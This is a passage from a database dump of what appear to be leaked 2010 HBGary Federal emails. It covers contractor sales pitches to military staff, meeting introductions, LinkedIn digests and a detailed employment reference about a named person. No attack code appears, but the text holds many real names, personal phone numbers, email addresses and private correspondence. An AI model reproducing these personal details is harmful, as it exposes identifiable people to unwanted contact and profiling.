&lt;Sara.Coy@smdc-cs.army.mil&gt;*Subject:* *Re: Active Defense whitepaper, final (UNCLASSIFIED)*\r\nUnderstood.Regards,TedOn Jul 21, 2010, at 4:13 PM, &quot;Coy, Sara J 1LT MIL USA SMDC ARSTRAT&quot;\r\n&lt;Sara.Coy@smdc-cs.army.mil&gt; wrote:Classification: UNCLASSIFIEDCaveats: FOUO\r\nMr. Vera,I&#39;m sorry but I&#39;m not authorized to share information on unclassifiednetworks or with anyone outside my cell without my CDR&#39;s approval.\r\nV/R,1LT Coy-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Wednesday, July 21, 2010 1:30 PMTo: Coy, Sara J 1LT MIL USA SMDC ARSTRATSubject: Re: FW: Active Defense whitepaper, final (UNCLASSIFIED)\r\nThanks for the kind response 1LT Coy.  If you don&#39;t mind me asking, whatareas of cyberspace are you specifically interested in?  We have both\r\ndefensive and offensive capabilities.Regards,Ted\r\nOn Wed, Jul 21, 2010 at 11:00 AM, Coy, Sara J 1LT MIL USA SMDC ARSTRAT&lt;Sara.Coy@smdc-cs.army.mil&gt; wrote:\r\n  Classification: UNCLASSIFIED  Caveats: FOUO  Mr. Vera,\r\n  Unfortunately, my role in cyberspace is not related to malware ormalware  tools. Thank you for your introduction. I enjoyed reading your\r\nattached  documents.  V/R,  1LT Coy\r\n  1LT Sara J. Coy  SMDC/ARSTRAT  All-Source Analyst  Peterson AFB, CoSpgs, CO 80914\r\n  sara.coy@smdc-cs.army.mil  sara.coy@smdc-cs.army.smil.mil\r\n  719.554.1874  &quot;I can picture in my mind a world without war, a world without hate.And I\r\n  can picture us attacking that world, because they&#39;d never expectit.&quot;  -----Original Message-----\r\n  From: Ted Vera [mailto:ted@hbgary.com]  Sent: Tuesday, July 20, 2010 2:49 PM  To: Coy, Sara J 1LT MIL USA SMDC ARSTRAT\r\n  Cc: Chappell, Scott C Mr CIV USA SMDC ARSTRAT; Barr Aaron  Subject: Re: FW: Active Defense whitepaper, final  Hello 1LT Coy,\r\n  If you can give me an unclassified overview of your requirements,I&#39;d be  happy to give you an unclass capabilities overview to see if there\r\nis a  match.  We specialize in all things related to malware.  Greg Hoglund is ourCEO and\r\n  founded the company in 2003.  Greg is an accomplished author, world  recognized leader in rootkit technology and was recently named one\r\nof &quot;10  hackers to know&quot; in Network Security magazine.  We offer a number ofCyber  services including malware reverse engineering, vulnerability\r\nresearch,  exploit development, incident response, penetration testing, digital  forensics, social media, and training.  We also have a mature\r\nproduct-line  of COTS which assist in accomplishing those tasks.  I&#39;ve attached two whitepapers and a product sheet that I think you\r\nmay find  interesting.  The first is our analysis of the Aurora attack, thesecond is  a how-to guide for using our REcon product to develop software\r\nexploits, and  the third describes our Digital DNA product.  Regards,  Ted\r\n  --  Ted H. Vera  President | COO  HBGary Federal\r\n  719-237-8623  http://www.hbgary.com\r\n  On Tue, Jul 20, 2010 at 2:31 PM, Chappell, Scott C Mr CIV USA SMDCARSTRAT  &lt;S\r\n',914,'aaron_hbgary_com/914.html'),(9003,'2010-07-21','\"emil nazzaro\" <emil@bydandassociates.com>','/aaron@hbgary.com/new/1297006924.M345798P14101Q3858.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Intro','Aaron -\r\n\r\nWe\'ll get back to you with some dates and times to meet that week. Thank you\r\nfor your interest.\r\n\r\nVr,\r\n\r\nEmil \r\nEmil S. Nazzaro, Partner\r\nBydand Associates, LLC\r\n(703) 401-6922 (mobile)\r\nemil@bydandassociates.com\r\nwww.bydandassociates.com\r\n\r\nBydand Associates is a Veteran-Owned Small Business \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, July 21, 2010 1:37 PM\r\nTo: emil nazzaro\r\nCc: \'David Etue\'; \'byrne\'\r\nSubject: Re: Intro\r\n\r\nThank you for the introduction Dave.\r\n\r\nEmil, lets shoot for the week of the 9th.\r\n\r\nAt the moment I only have a few meetings scheduled that week, on Monday.\r\n\r\nAaron\r\n\r\n\r\nOn Jul 19, 2010, at 1:28 PM, emil nazzaro wrote:\r\n\r\n> David -\r\n> \r\n> Thank you for the virtual introduction.\r\n> \r\n> Aaron -\r\n> \r\n> I\'m currently out of town on vacation, returning late on the 28th. Byrne\r\nand\r\n> I have a mid-day meeting (11am - 2pm) in Herndon on the 29th. Late\r\nThursday\r\n> afternoon and Friday morning are open if either of those times suit your\r\n> calendar.  \r\n> \r\n> We\'ll be in Tampa for the AFCEA Joint LandWarNet Conference from 2-5\r\nAugust\r\n> supporting some of our clients who will be exhibiting.  Alternatively, we\r\n> could meet sometime during the week of 9 August. \r\n> \r\n> We look forward to meeting you, learning more about HB Gary Federal, and\r\n> telling you about Bydand Associates.\r\n> \r\n> Vr,\r\n> \r\n> Emil \r\n> \r\n> Emil S. Nazzaro, Partner\r\n> Bydand Associates, LLC\r\n> (703) 401-6922 (mobile)\r\n> emil@bydandassociates.com\r\n> www.bydandassociates.com\r\n> \r\n> Bydand Associates is a Veteran-Owned Small Business \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: David Etue [mailto:david@etue.net] \r\n> Sent: Monday, July 19, 2010 11:47 AM\r\n> To: Aaron Barr; emil nazzaro\r\n> Subject: Intro\r\n> \r\n> Aaron and Emil - wanted to connect the two of you up.  I\'m sure you have \r\n> a lot of contacts in common, and there may be an opportunity to help \r\n> each other out.\r\n> \r\n> Aaron - Emil has been working with Fidelis for a number of years helping \r\n> generate business in the Federal Government.  He has a lot of experience \r\n> and contacts, and his Army background has been particularly helpful.  \r\n> His business partner, Byrne Huntley, also has a great background.  \r\n> http://www.bydandassociates.com/about/\r\n> \r\n> Emil - Aaron is the CEO of HB Gary Federal.  HB Gary has some amazing \r\n> products for endpoint memory analysis and forensics, and Aaron is \r\n> leading up their Federal business including both product and services.  \r\n> He has a great background in cyber security, and was with both Northrop \r\n> Grumman and the US Navy before joining HB Gary.\r\n> \r\n> David\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',5758,'aaron_hbgary_com/5758.html'),(9004,'2010-07-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006924.M571171P14101Q3859.eml','\"Aaron Barr\" <adbarr@mac.com>','Behold, Facebook\'s Consequences For Stealing Your Privacy [Your Privacy Is An Illusion]','Behold, Facebook\'s Consequences For Stealing Your Privacy [Your Privacy Is An Illusion]\r\n										\r\n					\r\n						\r\n											\r\n									\r\n				Facebook just spent six months rolling back user privacy, appropriating data, and dealing with the resulting outrage. And yet the social network is growing as fast as ever, as neatly summarized in the attached chart from Inside Facebook\'s Eric Eldon.				More&nbsp;»\r\n				\r\n   \r\nSent from my iPhone',13113,'aaron_hbgary_com/13113.html'),(9005,'2010-07-22','\"cybernexus Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297006924.M908087P14101Q3860.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Scott Sheldon and other cybernexus group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsJuly 21, 2010\r\n    cybernexus\r\n    \r\n	      Latest:\r\n	          1 discussion\r\n	      \r\n	      \r\n	        \r\n	      \r\n      \r\n    \r\n\r\n     \r\n      NEW Your LinkedIn groups have a whole new look! Learn more &#187;\r\n    \r\n      \r\n      \r\n    \r\n\r\n      \r\nDiscussions (1)  \r\n\r\n    \r\n      \r\n        Technical Tuesday - 10 Aug; 1600 - 1730; Advanced Cyber Collection Techniques - Extracting Information from the Domain Name System (DNS)\r\n        Add a comment  &raquo;\r\n\r\n      Started by Scott Sheldon, VP, Senior Account Executive at SAIC\r\n        \r\n          \r\n                    &#x2022;	The Domain Name System Runs On Virtually Every Computer Network Today \r\n&#x2022;	DNS Holds A Wealth Of Information That Is Often Overlooked When Conducting Cyber Collections\r\n&#x2022;	Specifically DNS Is A Naming System For Resources Connected To The Internet\r\no	DNS Is Primarily Used To Translate A Domain Name To An IP Address\r\no	Bind Is The Most Common DNS Server Software\r\n&#x2022;	There Are Various DNS Record Types That Provide Unique Information\r\n&#x2022;	Domain Name Registrars Are Where Individuals Go To Register A Domain Name\r\n&#x2022;	Historical Domain Registration/Resolution Information Can Be Used To Correlate Past Events Or Gain Positive Attribution\r\n&#x2022;	Private Domain Registrations Can Impede The Collection Of DNS Information\r\n&#x2022;	Command Line Tools Such As Nslookup And DIG Are Used To Extract DNS Information\r\n&#x2022;	Web Based Tools Can Offer Easy Access To DNS Information While Obfuscating Location\r\n&#x2022;	Zone Transfers Provide Information For An Entire Domain\r\n&#x2022;	DNS Plays An Important Role In Cyber Collection\r\no	DNS Aides Enumeration of A Domain And Identifying Other Areas Of Research\r\n\r\n\r\nPresented by: Timothy Cague, President of The Cyan Group LLC\r\n\r\nTimothy Cague, President of The Cyan Group LLC specializes in Open Source Cyber Collection for the Intelligence Community, DoD, and Law Enforcement.\r\nHe has a Masters in Business Administration from the University of Maryland University College and a Bachelors of Science in Computer Engineering from the Rochester Institute of Technology.\r\n\r\nAfter graduating from RIT in 2000 Tim spent four years as a Communications Officer in the U.S. Air Force. First stationed at Langley Air Force Base he led the Network and Satellite Communications Elements for the Air Combat Command Communications Group. He then moved on to Scott Air Force Base where he served as Team chief for a Scope Network Assessment Team deploying worldwide to assess and secure Air Force Network Architectures.\r\n\r\nAfter separating from the Air Force in 2004, Tim spent 5 years at ManTech building and leading their Reconnaissance Operations Cell in charge of open source collection. As the Technical Manager for multiple contracts under this unit Tim and his team supported numerous government missions.\r\n\r\nAs president of The Cyan Group Tim now provides Cyber Open Source Collection professionals for collection, analysis, and training support to government entities.\r\n\r\n\r\nSAIC will host the Technical Tuesday at our facility at 7035 Albert Einstein, Columbia, MD 21046. Please note: This is a different location from other recent Technical Tuesday events. It is still in Columbia Gateway, but in a different building from recent events.\r\n                By Scott Sheldon, VP, Senior Account Executive at SAIC\r\n           \r\n          \r\n    \r\n\r\n\r\n\r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\n&nbsp;\r\n\r\n\r\n',1951,'aaron_hbgary_com/1951.html'),(9006,'2010-07-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006925.M205353P14101Q3861.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Fwd: TMC Demo','Begin forwarded message:From: Phil Wallisch &lt;phil@hbgary.com&gt;\r\nDate: July 21, 2010 6:33:17 PM MDTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: TMC Demo\r\nTed,Can I get a demo of what the TMC has to offer soon?-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n',13208,'aaron_hbgary_com/13208.html'),(9007,'2010-07-22','\"Tim Riesen\" <tjriesen@archimedesglobal.com>','/aaron@hbgary.com/new/1297006925.M447504P14101Q3862.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Christopher Clair\" <christopher.clair@tasc.com>','Next Week','\r\n\r\nNext Week\r\n\r\n\r\nGentlemen - \r\n\r\nDo you have an interest in meeting with the telecom infrastructure people next week? &nbsp;\r\n\r\nAaron &#8211; for the McLean for the meeting? \r\n\r\nAaron and Chris &#8211; for the infrastructure piece of the COIN proposal? \r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n',14699,'aaron_hbgary_com/14699.html'),(9008,'2010-07-22','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297006925.M731416P14101Q3863.eml','\"Barr Aaron\" <aaron@hbgary.com>','Check out Flipboard','\r\n\r\n\r\nCheck out this application on the App Store:\r\n\r\n  \r\n    \r\n      \r\n        \r\n      \r\n    \r\n    \r\n      \r\n      Flipboard\r\n      Flipboard Inc.\r\n      \r\n        Category: News\r\n      \r\n      \r\n      \r\n        Updated: Jul 16, 2010\r\n      \r\n      \r\n      \r\n      \r\n        \r\n          \r\n          \r\n          \r\n          \r\n          \r\n        \r\n         529 Ratings\r\n      \r\n      \r\n        \r\n      \r\n    \r\n  \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      iTunes for Mac and Windows\r\n  \r\n  \r\n    \r\n      Please note that you have not been added to any email lists.\r\n        Copyright © 2010 Apple Inc.\r\n	      All rights reserved\r\n      \r\n    \r\n  \r\n  \r\n\r\n\r\n\r\n',5640,'aaron_hbgary_com/5640.html'),(9009,'2010-07-22','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297006925.M961554P14101Q3864.eml','\"Tim Riesen\" <tjriesen@archimedesglobal.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Next Week','\r\n\r\n\r\n\r\n\r\nRE: EXTERNAL:Next Week\r\n\r\n\r\n\r\n\r\nHi Tim,\r\n\r\nMonday and Tuesday are bad.&nbsp; The rest of the week is open.&nbsp; I think Aaron will be out of town but we can handle the meeting if necessary.&nbsp;\r\n\r\nDo you have any nights free for that week?&nbsp; We can cook a few steaks and drink a beer or two.&nbsp; Aaron you are welcome to come too.&nbsp;\r\n\r\nLet me know.&nbsp;\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Tim Riesen [mailto:tjriesen@archimedesglobal.com]\r\nSent: Wed 7/21/2010 9:25 PM\r\nTo: Aaron Barr; Clair, Chris (TASC)\r\nSubject: EXTERNAL:Next Week\r\n\r\nGentlemen -\r\n\r\nDo you have an interest in meeting with the telecom infrastructure people\r\nnext week?&nbsp;\r\n\r\nAaron ­ for the McLean for the meeting?\r\n\r\nAaron and Chris ­ for the infrastructure piece of the COIN proposal?\r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc.\r\nTel:&nbsp;&nbsp; 800.670.2390 ext 503\r\nFax:&nbsp; 866.347.0827\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14202,'aaron_hbgary_com/14202.html'),(9010,'2010-07-22','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006926.M444556P14101Q3865.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: Fingerprint Tool','Yes, feel free - Martin is getting me the release source + binary, which won&#39;t go public until my talk at Blackhat.  If you think it&#39;s appropriate, you can give them a pre-release, however it might make sense to have them wait like the rest to build attendance for the talk.  It&#39;s your call.  Stay tuned for bits.\r\n\r\n \r\n-Greg\r\nOn Wed, Jul 21, 2010 at 7:55 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nGreg,We can get the fingerprint tool run against a set of NSA Malware but we have to forward the tool to Xetron as they can not release the data.\r\nCan we get Brian Masterson the tool?Aaron BarrCEOHBGary Federal Inc.\r\n',9459,'aaron_hbgary_com/9459.html'),(9011,'2010-07-22','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297006926.M689543P14101Q3866.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 7/21/2010','\r\n\r\n  \r\n\r\n  \r\n    \r\n      \r\n        \r\n          LinkedIn\r\n    \r\n      Network Updates, Jul 14 - Jul 21\r\n    \r\n          \r\n          \r\n        \r\n      \r\n    \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n        PROFILE\r\n  \r\n    \r\n    \r\n      View all Network Updates\r\n    \r\n\r\n\r\n  \r\n  \r\n            \r\n\r\n\r\n\r\n      Dino Dai Zovi\r\n                   has an updated profile (Expertise)\r\n            \r\n            \r\n\r\n\r\n\r\n      Kevin G. Coleman\r\n                   has an updated profile (Headline, Expertise)\r\n            \r\n            \r\n\r\n\r\n\r\n      Susan Wilson\r\n                   has an updated profile (Experience)\r\n            \r\n  \r\n  \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n        CONNECTIONS\r\n  \r\n    \r\n\r\n\r\n  \r\n  \r\n            \r\n\r\n  John Smith\r\n    is now connected to\r\n        Kirstin Duggan\r\n            \r\n            \r\n\r\n  Chris Collins\r\n    is now connected to\r\n        Christian Lyndes\r\n            \r\n            \r\n\r\n  Nolan Clifford\r\n    is now connected to\r\n        John Ahearn IV\r\n            \r\n  \r\n  \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n        POSTS\r\n  \r\n    \r\n\r\n\r\n  \r\n  \r\n            \r\n\r\n\r\n\r\n\r\n\r\n\r\nMary Sullivan\r\nKnow a great Arcsight admin (cleared) who wants to work in nova... ping me.      \r\n      Comment \r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n             \r\n            \r\n\r\n\r\n\r\n\r\n\r\n\r\nJD Kathuria\r\nis about to sign up for the Rock N Roll 1/2 Marathon in VA Beach over Labor Day. Anyone else going? http://lnkd.in/ECWtVV      \r\n      Comment  (1)\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n             \r\n            \r\n\r\n\r\n\r\n\r\n\r\n\r\nMichael Toth\r\nRT @NBMAA: Peter Paul Biro, fingerprints, and a lost Leonardo masterpiece http://bit.ly/aG2dek      \r\n      Comment \r\n      \r\n        \r\n        \r\n        \r\n\r\nPeter Paul Biro, fingerprints, and a lost Leonardo : The         \r\n          A REPORTER AT LARGE about Peter Paul Biro and art forgeries&#x2026;\r\n        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n             \r\n  \r\n  \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n        GROUPS\r\n  \r\n    \r\n\r\n\r\n  \r\n  \r\n            \r\n\r\n    David Etue has joined\r\n    Homeland Security Television\r\n            \r\n            \r\n\r\n  J.R. Reagan has joined 2 groups, including\r\n      \r\n      The Official Bush School of Government &amp; Public Service Group\r\n      and\r\n      CSO Forum\r\n            \r\n            \r\n\r\n    Sandy Forney has joined\r\n    Virginia Tech Intelligence and Defense Executive Alumni, VT-idea\r\n            \r\n  \r\n  \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n        EVENTS\r\n  \r\n    \r\n\r\n\r\n  \r\n  \r\n            \r\n\r\n                  \r\n                          Scott Sheldon\r\n                  \r\n                     added \r\n                  \r\n                          cybernexus Technical Tuesday - Advanced Cyber Collection Techniques - Extracting Information from the Domain Name System (DNS)\r\n                  \r\n                     to be held on August 10, 2010 \r\n                  \r\n                          RSVP\r\n                   \r\n                        \r\n            \r\n\r\n                  \r\n                          Mary Sullivan\r\n                  \r\n                     will be attending \r\n                  \r\n                          Black Hat USA 2010\r\n                  \r\n                     on July 24, 2010 \r\n                  \r\n                          RSVP\r\n                   \r\n                        \r\n  \r\n  \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n        APPLICATIONS\r\n  \r\n    \r\n\r\n\r\n  \r\n  \r\n            \r\n\r\n                  \r\n                          Scott Sheldon\r\n                  \r\n                     recommends \r\n                  \r\n                          Game Plan for Life: Your Personal Playbook for Success\r\n                   \r\n                        \r\n            \r\n\r\n                  \r\n                          Scott Sheldon\r\n                  \r\n                     is reading \r\n                  \r\n                          Switch: How to Change Things When Change Is Hard\r\n                   \r\n                        \r\n            \r\n\r\n                  \r\n                          Scott Sheldon\r\n                  \r\n                     recommends \r\n                  \r\n                          Do Hard Things: A Teenage Rebellion Against Low Expectations\r\n                   \r\n                        \r\n  \r\n  \r\n    \r\n    \r\n      &nbsp;&nbsp;&nbsp;View all Network Updates&nbsp;&nbsp;&nbsp;\r\n    \r\n  \r\n\r\nDon\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n&copy; 2010, LinkedIn Corporation\r\n  \r\n',16689,'aaron_hbgary_com/16689.html'),(9012,'2010-07-22','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006926.M908085P14101Q3867.eml','\"Aaron Barr\" <aaron@hbgary.com>','What do you know about this guy','http://greylogic.us/about-us-2/\r\n \r\nKnow him?\r\n \r\n-Greg\r\n',14065,'aaron_hbgary_com/14065.html'),(9013,'2010-07-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006927.M131702P14101Q3868.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: HB Gary Federal Correction','Begin forwarded message:From: Penny Leavy &lt;penny@hbgary.com&gt;Date: July 21, 2010 8:56:25 PM MDT\r\nTo: Julie Tate &lt;tatej@washpost.com&gt;, Ted Vera &lt;ted@hbgary.com&gt;Subject: Re: HB Gary Federal Correction\r\nIt&#39;s done there and CO.  Can you let me know what database you got itfrom.  All databases were updated and the first HBGary Federal, which\r\nwe cancelled had a different corporate structure so I know D&amp;Bcancelled that one.  I just want to make sure that we are all updatedOn Wed, Jul 21, 2010 at 2:13 PM, Julie Tate &lt;tatej@washpost.com&gt; wrote:\r\nI have corrected the record to reflect the Bethesda address where we believe\r\nmost of the HB Federal work is done. Is that correct?Julie TateNews Research\r\nThe Washington Post202-334-8329\r\n-- Penny C. LeavyHBGary, Inc.\r\n\r\n',12508,'aaron_hbgary_com/12508.html'),(9014,'2010-07-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006927.M407040P14101Q3869.eml','Celina_Vargas@sra.com','Re: Mark Leary Reference','Celina,Sorry for the delay, just busy.Aaron BarrCEOHBGary Federal Inc.On Jul 21, 2010, at 12:47 AM, Aaron Barr wrote:Sent from my iPadBegin forwarded message:From: \"Vargas, Celina\" &lt;Celina_Vargas@sra.com&gt;\r\nDate: July 20, 2010 9:07:18 AM EDTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: Mark Leary Reference\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron!&nbsp;Thanks so much for getting back to me.\r\nHere they are:&nbsp;1. What company did you work with Mark at\r\nand what was your relationship (Director, etc). What was your title and how\r\nlong did you work with him? &nbsp;Northrop Grumman Information Systems. &nbsp;I was the Technical Director for the Cyber and SIGINT Business UNIT and Mark was the Deputy CISO. &nbsp;Through Northrop\'s cyber initiatives, Mark and I had the opportunity to interact in developing the cyber strategy for the company. &nbsp;I worked with Mark for close to two years.&nbsp;Performance &nbsp;&nbsp;What are his/her specific responsibilities?&nbsp;&nbsp;\r\nAs the deputy CISO Mark had responsibilities for the daily security management of all of Northrop\'s Information Systems.&nbsp; &nbsp;&nbsp;What are his/her strong points?Mark is extremely knowledgable about the information assurance/security space. &nbsp;I was always impressed with Marks ability to retain information about nearly every security product in the space. &nbsp;Mark worked effectively in the technical and executive roles of his position. &nbsp;Mark also appears to handle stress well.&nbsp; &nbsp;&nbsp;What characteristics do you admire most about\r\nhim/her?&nbsp;&nbsp; &nbsp;Expansive knowledge of the information security space and practical perspective of implemented products in an operational environment.&nbsp; &nbsp;&nbsp;&nbsp;Are there any areas where he/she might have\r\nneeded improvement? What steps were taken by either the candidate or the\r\nsupervisor to improve these areas?&nbsp;&nbsp; &nbsp; &nbsp;I am sure there are areas, just ones that I did not notice within our working relationship. &nbsp;Mark is very knowledgable, effective speaking with senior executive staff as well as his own staff. &nbsp;Executed the position as deputy CISO for a 120,000+ organization effectively, reflected in the communities recognition of the level of security and capability of the NGGN.&nbsp;&nbsp;Did he/she supervise other people? How many?\r\nHow effectively? Can he/she create a team?&nbsp;&nbsp; &nbsp;Yes. &nbsp;I am not sure the size of the internal staff, but he managed the personnel at the NG SOC, as well as Tier2 and 3 staff IT Security/IA staff.&nbsp;&nbsp;&nbsp;&nbsp;How well does he/she relate to co-workers? In\r\nyour opinion which employees does he/she work best with:\r\nsuperiors/peers/subordinates? Is he/she a team player?&nbsp;&nbsp; &nbsp; &nbsp;Mark is a team player and works well across the corporate strata. &nbsp;When I was putting together a small team of directors to help shape the cyber strategy for the corporation,&nbsp;&nbsp;&nbsp;How would you rate his/her job performance on\r\na scale from 1-10 (10 being the highest) compared to other people you observed\r\nin similar capacity? What would he/she have had to do to be a perfect\r\n10?&nbsp;8. &nbsp;Perfect 10 is not possible. &nbsp;But to improve from an 8, that all depends on perspective, but maybe take a few more risks, lean a little more forward. &nbsp;But from a CISO perspective those traits may not be as desirable.&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;Were you responsible for this individual\'s\r\nreview? What were the results of that review?&nbsp;&nbsp; &nbsp; &nbsp;No.&nbsp;&nbsp;SRA\'s ethic of Honesty and Service are\r\nimportant to our corporate culture. Do you feel he/she will fit into our\r\nenvironment as a VP (Chief Information Security\r\nOfficer)?&nbsp;&nbsp; &nbsp; Absolutely.&nbsp;&nbsp;Is there anything about this individual you\r\nare aware of, that would prevent him/her from performing his/her job\r\nrequirements as a VP?&nbsp;&nbsp; &nbsp; No.&nbsp;&nbsp;&nbsp;If you could rehire him or her today, would\r\nyou? Is he/she eligible for rehire? If not, why?Mark would be the first person I would call to lead organizational ITSEC/IA for an organization.&nbsp;&nbsp; &nbsp;THANK YOU! &nbsp;\r\n\r\nCelina Vargas\r\nSr. Recruiter\r\nLeverage &amp; Operations Sectors\r\nSRA International, Inc.\r\n4350\r\n  Fair Lakes Court\r\n Fairfax,&nbsp;VA&nbsp;22033\r\n Office:\r\n703-803-1873\r\nMobile: 571-263-2646\r\ncelina_vargas@sra.com&nbsp; \r\nwww.sra.com\r\n&nbsp;To&nbsp;see our career\r\nvideos and learn more, click the camera link below:&nbsp;&lt;image.png&gt;P Please consider the\r\nenvironment before printing this e-mail This electronic message transmission contains\r\ninformation from SRA International, Inc. which may be confidential, privileged\r\nor proprietary. The information is intended for the use of the individual or\r\nentity named above. If you are not the intended recipient, be aware that any\r\ndisclosure, copying, distribution, or use of the contents of this information\r\nis strictly prohibited. If you have received this electronic information in\r\nerror, please notify us immediately by telephone at 866-584-2143.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, July 20, 2010 9:06\r\nAM\r\nTo: Vargas, Celina\r\nSubject: Re: Mark Leary Reference\r\n\r\n&nbsp;\r\n\r\nSure thing.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\nOn Jul 20, 2010, at 8:51 AM, \"Vargas, Celina\" &lt;Celina_Vargas@sra.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron! \r\nI hope you are doing good. Mark Leary sent me your contact information, he wrote\r\nyour name down as a reference, I would like to ask you a few questions about\r\nhim. I will call you as well but I could email you the reference questions,\r\njust let me know! I am here at my desk. Thanks! Celina&nbsp;&nbsp;Celina Vargas\r\nSr. Recruiter\r\nLeverage &amp; Operations Sectors\r\nSRA International, Inc.\r\n4350 Fair Lakes Court\r\nFairfax,&nbsp;VA&nbsp;22033\r\nOffice:\r\n703-803-1873\r\nMobile:\r\n571-263-2646\r\ncelina_vargas@sra.com&nbsp;\r\n\r\nwww.sra.com\r\n&nbsp;To&nbsp;see our career\r\nvideos and learn more, click the camera link below:&nbsp;P Please consider the\r\nenvironment before printing this e-mail This electronic message transmission contains\r\ninformation from SRA International, Inc. which may be confidential, privileged\r\nor proprietary. The information is intended for the use of the individual or\r\nentity named above. If you are not the intended recipient, be aware that any\r\ndisclosure, copying, distribution, or use of the contents of this information\r\nis strictly prohibited. If you have received this electronic information in\r\nerror, please notify us immediately by telephone at 866-584-2143.&nbsp;\r\n\r\n',13344,'aaron_hbgary_com/13344.html'),(9015,'2010-07-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006931.M737417P14101Q3870.eml','\"John Verducci\" <john@studioem.com>','Re: 3 graphic requests to follow','ok I still have some text to put together I will have in the next 2  \r\ndays done.\r\n\r\nhere is a copy of our existing datasheet I put together (don\'t laugh)  \r\nand a real ugly thing I put together in a few minutes to put in the  \r\ngraphics I sent you...\r\n\r\n',3897,'aaron_hbgary_com/3897.html'),(9016,'2010-07-22','\"andy kemp\" <akemp@apple.com>','/aaron@hbgary.com/new/1297006932.M191687P14101Q3871.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Introduction','http://finance.yahoo.com/news/New-iPad-app-mines-Web-links-apf-4294583321.html?x=0&.v=3\r\n\r\nAndy Kemp\r\n\r\nApple Inc.\r\n2409883476\r\nSent from iPhone \r\n\r\nOn Jul 20, 2010, at 12:27 AM, Aaron Barr  wrote:\r\n\r\n> Hey Andy,\r\n> \r\n> Remember the event that I told you about.  It was a lively night.  Apple, the appstore, mobile app development came up on multiple occasions.\r\n> \r\n> I met Chris at this event and we had some very lively discussions regarding social media, evolving technology, and threats.  Chris has a very interesting and enterprising background (especially for government).  I think you guys would have a lot to talk about, so I wanted to make the introduction.\r\n> \r\n> Talk to you soon.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n',16016,'aaron_hbgary_com/16016.html'),(9017,'2010-07-22','\"Aaron Barr\" 